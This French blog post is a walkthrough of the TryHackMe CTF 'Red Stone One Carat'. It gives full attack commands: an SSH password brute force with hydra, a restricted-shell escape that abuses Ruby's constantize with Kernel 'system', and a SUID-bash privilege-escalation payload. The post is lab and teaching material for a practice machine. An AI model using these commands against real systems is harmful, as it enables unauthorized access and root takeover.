Kali-linux distribution GNU/Linux spécialisée dans l'audit et le pentest.
Kali-linux.fr Communauté française de kali-linux
try hackme solution red stone one carat francais

Salut cher tous, aujourd’hui nous allons explorer un nouveau challenge CTF autour d’une pierre précieuse, le rubis. Ce CTF, c’est Red Stone one Carat qu’on retrouve sur tryhackme.

Grâce à ce challenge, nous allons voir comment l’identification et l’exploitation d’une faille dans un programme ruby va entraîner la prise de contrôle d’une machine et aussi découvrir un nouveau moyen de faire de l’escalade de privilège.

Red Stone one Carat – Reconnaissance

Nous avons commencé par la phase de reconnaissance avec nmap. Nous avons effectué le scan de port grâce à la commande nmap -sV -A 10.10.234.200.

Comme nous montre le résultat du scan, seul le port ssh est ouvert.

Red Stone one Carat – Enumération

Comme information fournie par le créateur du challenge, nous avons la présence d’un utilisateur dont le username est noraj et que son mot de passe contient “bu”.

Nous allons alors brute-forcer la connexion ssh avec hydra pour obtenir le mot de passe de noraj.

Pour le faire nous allons commencer par créer un nouveau dictionnaire avec les mots de passe contenant “bu”. Ces mots de passe ont été sélectionnés depuis notre ancien dictionnaire rockyou grâce à la commande

grep "bu" /usr/share/wordlists/rockyou.txt > word.txt. 

Ensuite nous ferons le brute-force avec la commande

hydra -l noraj -P word.txt 10.10.234.200 -t 4 ssh

Après quelques minutes, nous avons notre mot de passe.

[22][ssh] host: 10.10.234.200   login: noraj   password: cheeseburger

Maintenant que nous avons obtenu le mot de passe, nous pouvons maintenant nous connecter à la machine via ssh grâce à la commande ssh [email protected].

Rapidement, nous avons remarqué que les commandes usuelles ne marchaient pas ou étaient restreintes, et que la commande echo elle, fonctionnait.

Nous avons pensé à un shell restreints, pour le confirmer nous avons utiliser la commande echo $SHELL.

Ce qui confirme nos soupçons, nous avons à faire à un shell restreint.

Red Stone one Carat – Exploitation

Comme la commande echo marche dans le shell alors nous allons continuer d’utiliser cette commande. Nous allons maintenant utiliser la commande echo ./* pour lister le contenu du répertoire.

red-stone-one-carat% echo ./*
./bin ./user.txt

Dans le répertoire nous avons le fichier contenant le flag de l’utilisateur que nous pouvons afficher avec la commande echo "$(<user.txt)".

Red Stone one Carat – Escalade de privilège

Nous avons continué dans le même répertoire avec la recherche des fichiers cachés. Pour cela nous avons utilisé la commande echo ./.* et nous avons trouvé un fichier echo dont nous avons affiché le contenu avec la commande echo "$(<.hint.txt)".

Comme nouvel indice il faut trouver le moyen de voir les services locaux .

Nous continuons toujours la recherche de nouveaux fichiers, cette fois-ci nous allons voir le contenu du répertoire/bin. Grâce à la commande echo ./bin/* nous l’avons fait, nous avons ensuite affiché le contenu du fichier ruby avec la commande echo "$(<./bin/test.rb)".

Après l’analyse du script et des recherches nous avons découvert un moyen d’exploiter ce script pour exécuter des commandes systèmes. Cette exploitation est possible grâce à la méthode constantize qui est une méthode dangereuse. Nous pouvons maintenant échapper du shell restreint avec la commande test.rb Kernel 'system' "/bin/zsh". Il nous faut aussi importer le PATH pour pouvoir charger les commandes export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin.

Maintenant, nous avons cherché à consulter les services locaux sans succès, mais avec ce nouveau shell la commande ruby marche. Nous avons alors pensé à une alternative en ruby pour voir les services locaux et nous sommes tombés sur ce code :

!#/usr/bin/env ruby

PROC\_NET\_TCP = '/proc/net/tcp'  # This should always be the same ...

TCP\_STATES = { '00' => 'UNKNOWN',  # Bad state ... Impossible to achieve ...
               'FF' => 'UNKNOWN',  # Bad state ... Impossible to achieve ...
               '01' => 'ESTABLISHED',
               '02' => 'SYN\_SENT',
               '03' => 'SYN\_RECV',
               '04' => 'FIN\_WAIT1',
               '05' => 'FIN\_WAIT2',
               '06' => 'TIME\_WAIT',
               '07' => 'CLOSE',
               '08' => 'CLOSE\_WAIT',
               '09' => 'LAST\_ACK',
               '0A' => 'LISTEN',
               '0B' => 'CLOSING' } # Not a valid state ...

if $0 == \_\_FILE\_\_

  STDOUT.sync = true
  STDERR.sync = true

  File.open(PROC\_NET\_TCP).each do |i|

    i = i.strip

    next unless i.match(/^\\d+/)

    i = i.split(' ')

    local, remote, state = i.values\_at(1, 2, 3)

    local\_IP, local\_port   = local.split(':').collect { |i| i.to\_i(16) }
    remote\_IP, remote\_port = remote.split(':').collect { |i| i.to\_i(16) }

    connection\_state = TCP\_STATES.fetch(state)

    local\_IP  = \[local\_IP\].pack('N').unpack('C4').reverse.join('.')
    remote\_IP = \[remote\_IP\].pack('N').unpack('C4').reverse.join('.')

      puts "#{local\_IP}:#{local\_port} " +
        "#{remote\_IP}:#{remote\_port} #{connection\_state}"
  end

  exit(0)
end

Ensuite pour télécharger le code sur la machine cible nous avons d’abord encodé le script en base64 sur une seul ligne avec la commande cat net.rb | base64 -w 0 sur notre machine en local.

Nous l’avons enfin décodé dans un fichier sur la machine cible avec la commande printf %s 'code en base 64'| base64 -d > net.rb

Nous pouvons maintenant l’exécuter ce script avec la commande ruby net.rb pour trouver les services locaux.

Le port est en mode écoute 31547, on lance l’écoute avec la commande nc 127.0.0.1 31547 et nous avons un nouveau shell.

Nous avons essayé d’exécuter les commandes usuelles sans succès, on dirait que nous sommes de nouveau dans un shell restreint en ruby. Après quelques recherches, nous avons trouvé un payload qui copie bash dans le répertoire /tmp et lui ajoute un suid.

exec %q!cp /bin/bash /tmp/bash; chmod +s /tmp/bash!

Après l’exécution du payload nous pouvons exécuter la commande /tmp/bash -p pour avoir un shell avec les droits du root.

Boom, nous avons le flag du root. Voila donc un nouveau challenge de plié!

Je vous retrouve donc très bientôt pour de nouvelles machines!

A+

Leave a Comment

Time limit is exhausted. Please reload CAPTCHA.